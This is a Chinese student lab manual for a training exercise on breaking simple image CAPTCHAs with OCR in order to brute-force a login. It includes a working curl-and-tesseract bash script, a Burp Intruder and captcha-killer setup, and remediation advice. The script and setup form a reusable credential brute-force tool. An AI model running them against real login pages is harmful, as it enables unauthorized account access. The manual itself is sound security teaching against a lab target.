
[bookmark: heading_0]子实验 C 验证码 OCR 绕过暴力破解 学生操作手册（Kali 2026.2）
	说明：基础任务使用 Kali Shell 脚本（必做）；Burp 插件方案作为选做拓展任务，学有余力的同学尝试。


1、 [bookmark: heading_1]实验简介
本实验为业务逻辑漏洞实训，复现验证码图片过于简单、可被机器自动识别的安全漏洞。
靶场特点：
· 后端验证码为一次性有效（提交一次即销毁），属于正常校验逻辑
· 但验证码图片无噪点、无干扰线、字体规整，机器可全自动 OCR 识别
· 攻击流程：自动获取验证码 → 自动识别 → 自动提交密码 → 批量爆破账号密码
与之前实验区别：
· 实验 B：验证码不销毁，一个验证码重复使用爆破
· 实验 C：验证码每次都换新，机器自动识别新验证码实现全自动爆破
2、 [bookmark: heading_2]实验环境
· 操作系统：Kali Linux 2026.2（必做脚本环境）；Burp Suite（选做拓展）
· 工具：curl（网络请求）、tesseract（OCR 图像识别）
· 靶场地址
· 登录接口：https://logic-vuln-lab-310714-6-1384301028.sh.run.tcloudbase.com/captcha/login_ocr.php
· 验证码接口：https://logic-vuln-lab-310714-6-1384301028.sh.run.tcloudbase.com/captcha/captcha.php?mode=clean
3、 [bookmark: heading_3][bookmark: _GoBack]实验任务
✅ 必做任务：使用 Kali 编写 Shell 脚本，完成全自动验证码识别 + 密码爆破
⭐ 选做拓展任务（能力较强同学）：使用 Burp Suite + captcha-killer 插件完成同样爆破
4、 [bookmark: heading_4]【必做】Kali Shell 脚本操作步骤（零基础照做）
[bookmark: heading_5]步骤 1：打开 Kali 终端
快捷键：Ctrl + Alt + T
[bookmark: heading_6]步骤 2：安装 OCR 识别工具
依次输入两条命令，回车执行：
	bash
sudo apt update
sudo apt install tesseract-ocr -y


安装完成，输入命令验证：
	bash
tesseract --version


输出版本信息即为安装成功。
[bookmark: heading_7]步骤 3：测试单次验证码识别（理解原理）
输入下面命令，自动下载验证码图片并识别字符：
	bash
curl -s -c cookie.txt -b cookie.txt "https://logic-vuln-lab-310714-6-1384301028.sh.run.tcloudbase.com/captcha/captcha.php?mode=clean" -o cap.png && tesseract cap.png stdout | tr -d '\n '


执行结果：终端直接输出 4 位验证码。
· cookie.txt：保存网站会话，保证获取验证码和登录使用同一个会话
· cap.png：下载到本地的验证码图片
[bookmark: heading_8]步骤 4：编写全自动爆破脚本
创建脚本文件：
	bash
nano captcha_brute.sh


复制全部代码粘贴到终端：
	bash
#!/bin/bash
# 全自动验证码OCR+密码爆破脚本
TARGET="https://logic-vuln-lab-310714-6-1384301028.sh.run.tcloudbase.com/captcha/login_ocr.php"
CAPTCHA_URL="https://logic-vuln-lab-310714-6-1384301028.sh.run.tcloudbase.com/captcha/captcha.php?mode=clean"

# 密码字典列表
password_list=(admin 123456 123 456 789 test root)

# 循环爆破
for pwd in "${password_list[@]}"; do
    # 获取新验证码并保存会话
    curl -s -c cookie.txt -b cookie.txt ${CAPTCHA_URL} -o cap.png
    # 识别验证码
    CODE=$(tesseract cap.png stdout | tr -d '\n ')
    # 输出当前尝试信息
    echo "尝试密码：$pwd  识别验证码：$CODE"
    # 提交登录
    RESULT=$(curl -s -X POST -c cookie.txt -b cookie.txt -d "username=admin&password=${pwd}&code=${CODE}" ${TARGET})
    echo "返回结果：$RESULT"

    # 判断爆破成功
    if [[ $RESULT == *"登录成功"* ]];then
        echo -e "\n===== 爆破成功！正确密码：$pwd ====="
        break
    fi
done

# 清理临时文件
rm -f cap.png cookie.txt


[bookmark: heading_9]步骤 5：保存并退出编辑器
1. 按下 Ctrl + O → 回车保存
2. 按下 Ctrl + X 退出
[bookmark: heading_10]步骤 6：添加执行权限
	bash
chmod +x captcha_brute.sh


[bookmark: heading_11]步骤 7：运行全自动爆破脚本
	bash
./captcha_brute.sh


5、 [bookmark: heading_12]正常实验现象
1. 脚本自动循环：获取新验证码 → 识别 → 尝试密码
2. 密码错误，返回：密码错误
3. 遍历到正确密码admin，返回登录成功，脚本自动停止
6、 [bookmark: heading_13]对照组实验（安全验证码效果）
将验证码链接中的 mode=clean 修改为 mode=normal（带噪点、干扰线）
再次运行脚本，观察现象：验证码识别出错，无法爆破成功。
	结论：带干扰的验证码，可以防御机器 OCR 自动爆破。


7、 [bookmark: heading_14]【选做拓展】Burp Suite 实现验证码 OCR 爆破（有余力同学）
	难度较高，需要安装插件、Python 环境，不强制完成


[bookmark: heading_15]前置准备
1. Burp Suite（Community/Pro 版本）
2. 插件：captcha-killer-modified.jar
3. Python 环境，安装 ddddocr 识别库
	bash
pip install ddddocr flask


1. [bookmark: heading_16]启动本地 OCR 识别服务
新建 ocr_server.py
	python
import ddddocr
from flask import Flask,request
app = Flask(__name__)
ocr = ddddocr.DdddOcr()
@app.route('/ocr',methods=['POST'])
def index():
    img = request.files['img'].read()
    res = ocr.classification(img)
    return res
if __name__ == '__main__':
    app.run(host="127.0.0.1",port=9898)


运行服务：
	bash
python ocr_server.py


OCR 接口地址：http://127.0.0.1:9898/ocr
2. [bookmark: heading_17]Burp 加载插件
1. Extender → Add，加载 captcha-killer-modified.jar
2. 浏览器开启 Burp 代理，访问靶场登录页面
3. [bookmark: heading_18]抓包配置
1. 抓 2 个数据包：
· GET 包：captcha.php?mode=clean 获取验证码图片
· POST 包：login_ocr.php 登录提交数据包，参数 username=admin&password=xxx&code=xxxx
2. 右键验证码请求包 → Extensions → captcha-killer → Send to captcha panel
3. captcha-killer 面板选择【自定义 OCR 接口】，填入http://127.0.0.1:9898/ocr，点击【获取】，测试识别验证码。
	⚠️重要：获取验证码和登录发包必须保持同一个 PHPSESSID 会话。


4. [bookmark: heading_19]Intruder 爆破配置
1. 登录 POST 包发送到 Intruder，攻击模式：Pitchfork（叉戟模式）
2. 设置两个 payload 标记：
· password=§xxx§：加载密码字典
· code=§xxxx§：Payload 类型：Extension-generated，生成器选择 captcha-killer-modified
3. Grep-Match 匹配关键词：登录成功
4. 开始攻击，插件自动拉取图片、OCR 识别、回填验证码，循环尝试密码。
[bookmark: heading_20]拓展对照
验证码 url 改为mode=normal，图片带干扰，OCR 识别失败，爆破无法成功。
8、 [bookmark: heading_21]实验核心结论（写入实验报告）
1. 本漏洞不是后端校验逻辑漏洞，而是验证码图像强度过低，可被机器识别。
2. 即使验证码设置一次性失效，仍然可以被全自动脚本绕过爆破。
3. 只依靠一次性验证码无法防护暴力破解，必须搭配图片干扰、频率限制、强密码策略。
9、 [bookmark: heading_22]漏洞修复方案
1. 验证码图片增加噪点、干扰线、字符扭曲、缩放，提升 OCR 识别难度
2. 登录接口增加访问频率限制、账号锁定机制
3. 后台高权限账号强制开启强密码策略
4. 接入专业人机行为验证（极验、腾讯防水墙等）
10、 [bookmark: heading_23]实训思考题
1. 实验 B（验证码复用）和实验 C（OCR 自动识别）的攻击原理有什么本质区别？
2. 为什么带干扰的验证码可以防御本次爆破攻击？
3. 除了验证码加固，还有哪些方式可以防护账号密码暴力破解？

